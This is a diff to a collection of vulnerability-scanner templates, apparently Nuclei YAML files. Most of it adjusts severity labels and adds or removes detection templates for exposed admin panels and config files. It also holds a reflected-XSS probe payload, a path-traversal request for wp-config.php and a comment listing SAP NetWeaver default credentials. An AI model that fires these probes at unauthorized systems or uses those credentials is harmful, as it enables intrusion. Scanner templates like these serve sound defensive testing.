- |
GET /testing HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
matchers:
- type: word
words:
- "Test is test"
-23
View File
@@ -1,23 +0,0 @@
id: http-raw-example
info:
name: HTTP Raw Test
author: pdteam
severity: info
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
matchers:
- type: word
words:
- "Test is test"
+1 -1
View File
@@ -2,7 +2,7 @@ id: cgi-test-page
info:
name: CGI Test page
author: YASH ANAND @yashanand155
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: dir-listing
info:
name: Directory listing enabled
author: _harleo
severity: low
severity: info
requests:
- method: GET
+29
View File
@@ -0,0 +1,29 @@
id: filezilla-exposed
info:
name: Filezilla
author: amsda
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/filezilla.xml"
- "{{BaseURL}}/sitemanager.xml"
- "{{BaseURL}}/FileZilla.xml"
matchers-condition: and
matchers:
- type: word
words:
- "<FileZilla"
- "<Servers>"
condition: and
- type: word
words:
- xml
part: header
- type: status
status:
- 200
+18
View File
@@ -0,0 +1,18 @@
id: htaccess-config
info:
name: HTaccess config file
author: Yash Anand @yashanand155
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/.htaccess"
matchers:
- type: word
words:
- RewriteRule
- </IfModule>
- <IfModule
condition: and
+20
View File
@@ -0,0 +1,20 @@
id: lazy-file-manager
info:
name: Lazy File Manager
author: amsda
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/lfm.php"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- Lazy File Manager
+1 -1
View File
@@ -3,7 +3,7 @@ id: public-tomcat-instance
info:
name: tomcat manager disclosure
author: Ahmed Sherif
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: security-txt
info:
name: Security.txt File
author: bad5ect0r
severity: informative
severity: info
requests:
- method: GET
+22 -4
View File
@@ -2,16 +2,34 @@ id: wadl-files
info:
name: wadl file disclosure
author: 0xrudra
severity: informative
author: 0xrudra & manuelbua
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/application.wadl"
- "{{BaseURL}}/service?Wsdl"
- "{{BaseURL}}/application.wadl?detail=true"
- "{{BaseURL}}/api/application.wadl"
- "{{BaseURL}}/api/v1/application.wadl"
- "{{BaseURL}}/api/v2/application.wadl"
matchers:
- type: word
- name: http-get
type: word
words:
- "This is simplified WADL with user and core resources only"
- "\"http://jersey.java.net/\""
- "http://wadl.dev.java.net/2009/02"
condition: or
part: body
- method: OPTIONS
path:
- "{{BaseURL}}/"
- "{{BaseURL}}/api/v1"
- "{{BaseURL}}/api/v2"
matchers:
- name: http-options
type: word
words:
- "This is simplified WADL with user and core resources only"
- "\"http://jersey.java.net/\""
+1 -1
View File
@@ -3,7 +3,7 @@ id: wordpress-directory-listing
info:
name: Wordpress directory listing
author: Manas_Harsh
severity: informative
severity: info
requests:
- method: GET
+2 -2
View File
@@ -1,9 +1,9 @@
id: wordpress-user-enumaration
id: wordpress-user-enumeration
info:
name: Wordpress user enumeration
author: Manas_Harsh
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: wordpress-xmlrpc-file
info:
name: WordPress xmlrpc
author: udit_thakkur
severity: informative
severity: info
requests:
- method: GET
File renamed without changes.
+23
View File
@@ -0,0 +1,23 @@
# id contains the unique identifier for the template.
id: top-15-xss
info:
# Name is the name of the template
name: Top 15 XSS Check
# Author is the name of the author for the template
# Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
author: foulenzer
# Severity is the severity for the template.
severity: medium
# Description optionally describes the template.
description: Searches for reflected XSS in the server response via GET-requests.
requests:
- method: GET
path:
- "{{BaseURL}}/?q%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526s%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526search%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526id%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526action%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keyword%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526query%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526page%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keywords%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526url%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526view%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526cat%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526name%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526key%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526p%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E"
matchers:
- type: word
words:
- "<svg/onload=confirm('testing-xss')>"
part: body
+1 -1
View File
@@ -3,7 +3,7 @@ id: cisco-asa-panel-detect
info:
name: Cisco ASA VPN panel detect
author: organiccrap
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: compal-panel-detect
info:
name: Compal CH7465LG panel detect
author: fabaff
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: crxde
info:
name: CRXDE Lite
author: nadino
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: exposed-docker-api
info:
name: Exposed Docker API
author: furkansenan & dwisiswant0
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: fortinet-fortigate-panel
info:
name: Fortinet FortiGate SSL VPN Panel
author: bsysop
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: globalprotect-panel
info:
name: PaloAlto Networks GlobalProtect Panel
author: organiccrap
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: grafana-detect
info:
name: Grafana panel detect
author: organiccrap
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: jenkins-async-people
info:
name: Jenkins panel async-people
author: nadino
severity: informative
severity: info
requests:
- method: GET
+13
View File
@@ -0,0 +1,13 @@
id: jmx-console
info:
name: JMX Console
author: Yash Anand @yashanand155
severity: Low
requests:
- method: GET
path:
- '{{BaseURL}}/jmx-console/'
matchers:
- type: word
words:
- JBoss JMX Management Console
+1 -1
View File
@@ -2,7 +2,7 @@ id: kubernetes-pods-api
info:
name: Kubernetes Pods API
author: ilovebinbash
severity: informative
severity: info
requests:
- method: GET
path:
+1 -1
View File
@@ -3,7 +3,7 @@ id: mongo-express-web-gui
info:
name: Mongo Express Web GUI
author: puzzlepeaches
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: parallels-html-client
info:
name: Parallels HTML5 Client
author: bauthard
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: phpmyadmin-panel
info:
name: phpMyAdmin Panel
author: bauthard
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: pulse-secure-panel
info:
name: Pulse Secure VPN Panel
author: bsysop
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: rabbitmq-dashboard
info:
name: RabbitMQ Dashboard
author: fyoorer
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: sap-netweaver-portal-detect
info:
name: SAP NetWeaver Portal detect
author: organiccrap
severity: informative
severity: info
# SAP Netweaver default creds - SAP*/06071992 or TMSADM/$1Pawd2&
requests:
+1 -1
View File
@@ -3,7 +3,7 @@ id: sophos-fw-version-detect
info:
name: Sophos Firewall version detection
author: organiccrap
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: supervpn-detect
info:
name: SuperVPN panel detect
author: organiccrap
severity: informative
severity: info
requests:
- method: GET
+23 -1
View File
@@ -3,7 +3,7 @@ id: swagger-panel
info:
name: Swagger API Panel
author: Ice3man
severity: informative
severity: info
requests:
- method: GET
@@ -15,6 +15,28 @@ requests:
- "{{BaseURL}}/api-docs/swagger.json"
- "{{BaseURL}}/swagger.json"
- "{{BaseURL}}/swagger/v1/swagger.json"
- "{{BaseURL}}/api/index.html"
- "{{BaseURL}}/api/docs/"
- "{{BaseURL}}/api/swagger.json"
- "{{BaseURL}}/api/swagger.yaml"
- "{{BaseURL}}/api/swagger.yml"
- "{{BaseURL}}/api/swagger/index.html"
- "{{BaseURL}}/api/swagger/swagger-ui.html"
- "{{BaseURL}}/api/api-docs/swagger.json"
- "{{BaseURL}}/api/swagger-ui/swagger.json"
- "{{BaseURL}}/api/apidocs/swagger.json"
- "{{BaseURL}}/api/swagger-ui/api-docs"
- "{{BaseURL}}/api/api-docs"
- "{{BaseURL}}/api/apidocs"
- "{{BaseURL}}/api/swagger"
- "{{BaseURL}}/api/swagger/static/index.html"
- "{{BaseURL}}/api/swagger-resources"
- "{{BaseURL}}/api/swagger-resources/restservices/v2/api-docs"
- "{{BaseURL}}/api/__swagger__/"
- "{{BaseURL}}/api/_swagger_/"
- "{{BaseURL}}/api/spec/swagger.json"
- "{{BaseURL}}/api/swagger/ui/index"
- "{{BaseURL}}/api/api/schema/"
matchers:
- type: word
words:
+22
View File
@@ -0,0 +1,22 @@
id: tikiwiki-cms
info:
name: Tiki Wiki CMS Groupware
author: chron0x
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/tiki-login_scr.php"
- "{{BaseURL}}/tiki-login.php"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Tiki Wiki CMS Groupware"
part: body
+20
View File
@@ -0,0 +1,20 @@
id: weave-scope-dashboard-detect
info:
name: Weave Scope Dashboard
author: e_schultze_
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
words:
- "<title>Weave Scope</title>"
- "__WEAVEWORKS_CSRF_TOKEN"
- "__CSRF_TOKEN_PLACEHOLDER__"
condition: and
part: body
+1 -1
View File
@@ -3,7 +3,7 @@ id: webeditors
info:
name: Web Editors
author: pwnmachine
severity: informative
severity: info
requests:
- method: GET
@@ -0,0 +1,19 @@
id: wamp-xdebug-detect
info:
name: WAMP xdebug
author: e_schultze_
severity: info
# Inspired on https://github.com/random-robbie/My-Shodan-Scripts/blob/1b01bceecc9be0b74b202f445874920eee48bba5/wamp-xdebug/wamp-xdebug.py
# Goal: detect if xdebug.remote_connect_back is enabled
requests:
- method: GET
path:
- "{{BaseURL}}/?phpinfo=-1"
matchers:
- type: word
words:
- 'xdebug.remote_connect_back</td><td class="v">On</td><td class="v">On</td>'
part: body
@@ -0,0 +1,26 @@
id: wordpress-accessible-wpconfig
info:
name: WordPress accessible wp-config
author: Kiblyn11 & zomsop82 & madrobot & geeknik
severity: high
requests:
- method: GET
path:
- '{{BaseURL}}/wp-config.php'
- '{{BaseURL}}/wp-config-sample.php'
- '{{BaseURL}}/wp-config.php.txt'
- '{{BaseURL}}/wp-config.php.bak'
- '{{BaseURL}}/wp-config.php.old'
- '{{BaseURL}}/wp-config-backup.txt'
- '{{BaseURL}}/wp-config.php.save'
- '{{BaseURL}}/wp-config.php~'
- '{{BaseURL}}/wp-config.php.orig'
- '{{BaseURL}}/wp-config.php.original'
- '{{BaseURL}}/wp-license.php?file=../..//wp-config'
- '{{BaseURL}}/_wpeprivate/config.json'
matchers:
- type: word
words:
- DB_NAME
- WPENGINE_ACCOUNT
part: body
+3 -3
View File
@@ -318,10 +318,10 @@ requests:
words:
- "Non-hub domain, The URL you've accessed does not provide a hub."
- type: word
- type: regex
name: unbounce
words:
- "The requested URL was not found on this server."
regex:
- "^The requested URL was not found on this server.$"
- type: regex
name: uptimerobot
-18
View File
@@ -1,18 +0,0 @@
id: aem-cms-finder
info:
name: AEM Finder
author: mzack9999
severity: informative
requests:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
words:
- "/etc/clientlibs/"
- "/content/dam/"
part: body
condition: or
@@ -3,7 +3,7 @@ id: bigip-config-utility
info:
name: BIG-IP Configuration Utility detected
author: dwisiswant0
severity: informative
severity: info
requests:
- method: GET
-50
View File
@@ -1,50 +0,0 @@
id: content-delivery-network
info:
name: Detect content delivery network
author: fabaff
severity: informative
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers-condition: or
matchers:
- type: word
name: cloudflare
words:
- "cloudflare"
part: header
- type: word
name: akamai
words:
- "AkamaiGHost"
part: header
- type: word
name: sucuri
words:
- "Sucuri/Cloudproxy"
part: header
- type: word
name: Imperva
words:
- "X-Iinfo:"
part: header
- type: word
name: ddos-guard
words:
- "ddos-guard"
part: header
- type: word
name: dosarrest
words:
- "DOSarrest"
- "X-DIS-Request-ID:"
part: header
- type: word
name: arvancloud
words:
- "ArvanCloud"
- "AR-Request-ID:"
part: header
+1 -1
View File
@@ -3,7 +3,7 @@ id: citrix-vpn-detect
info:
name: Citrix VPN Detection
author: bauthard
severity: informative
severity: info
requests:
- method: GET
-19
View File
@@ -1,19 +0,0 @@
id: clockwork-php-header
info:
name: Clockwork PHP exposure
author: organiccrap
severity: high
# https://twitter.com/damian_89_/status/1250721398747791360
requests:
- method: GET
path:
- '{{BaseURL}}/'
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
- type: word
words:
- 'X-Clockwork-Id:'
- 'X-Clockwork-Version:'
part: header
condition: and
-28
View File
@@ -1,28 +0,0 @@
id: cms-detect
info:
name: CMS Detect
author: NkxxkN https://twitter.com/NkkxN
severity: informative
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers-condition: or
matchers:
- type: word
name: drupal
words:
- "X-Drupal"
- "x-drupal"
- "X-Generator: Drupal"
condition: or
part: header
- type: word
name: wordpress
words:
- "/wp-content/"
- "/wp-includes/"
condition: or
part: body
+1 -1
View File
@@ -3,7 +3,7 @@ id: Github-Enterprise-Detect
info:
name: Detect Github Enterprise
author: ehsahil
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: Gitlab-Detect
info:
name: Detect Gitlab
author: ehsahil
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: graphql
info:
name: GraphQL API
author: NkxxkN
severity: informative
severity: info
requests:
- method: POST
+1 -1
View File
@@ -3,7 +3,7 @@ id: home-assistant
info:
name: Detect Home Assistant
author: fabaff
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: Jaspersoft-detect
info:
name: Jaspersoft detected
author: koti2
severity: informative
severity: info
requests:
- method: GET
-16
View File
@@ -1,16 +0,0 @@
id: jenkins-headers-detect
info:
name: Jenkins Headers Based Detection
author: ice3man
severity: informative
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
words:
- "X-Jenkins"
part: header
+1 -1
View File
@@ -3,7 +3,7 @@ id: jira-detect
info:
name: Detect Jira Issue Management Software
author: bauthard
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -9,7 +9,7 @@ id: linkerd-badrule-detect
info:
name: Linkerd detection via bad rule
author: dudez
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -18,7 +18,7 @@ id: linkerd-ssrf-detect
info:
name: Linkerd SSRF detection
author: dudez
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: netsweeper-webadmin-detect
info:
name: Netsweeper WebAdmin detected
author: dwisiswant0
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: ntlm-directories
info:
name: Discovering directories w/ NTLM
author: puzzlepeaches
severity: informative
severity: info
requests:
- method: GET
@@ -1,34 +0,0 @@
id: programming-language-detect
info:
name: Programming Language Detect
author: NkxxkN https://twitter.com/NkkxN
severity: informative
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers-condition: or
matchers:
- type: word
name: php
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
part: header
- type: word
name: node
words:
- "Server: NodeJS"
- "X-Powered-By: nodejs"
condition: or
part: header
- type: word
name: python
words:
- "Python/2."
- "Python/3."
- "CPython/3."
condition: or
part: header
-23
View File
@@ -1,23 +0,0 @@
id: reverse-proxy-detect
info:
name: Reverse Proxy Detect
author: NkxxkN https://twitter.com/NkkxN
severity: informative
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers-condition: or
matchers:
- type: word
name: nginx
words:
- "Server: nginx"
part: header
- type: word
name: apache
words:
- "Server: Apache"
part: header
+1 -1
View File
@@ -3,7 +3,7 @@ id: s3-detect
info:
name: Detect Amazon-S3 Bucket
author: melbadry9
severity: informative
severity: info
requests:
- method: GET
@@ -3,7 +3,7 @@ id: sap-netweaver-as-java-detect
info:
name: SAP NetWeaver AS JAVA (LM Configuration Wizard) Detection
author: dwisiswant0
severity: informative
severity: info
requests:
- method: GET
Loaded 100 of 125 files, more files were not shown because too many files have changed in this diff. Show more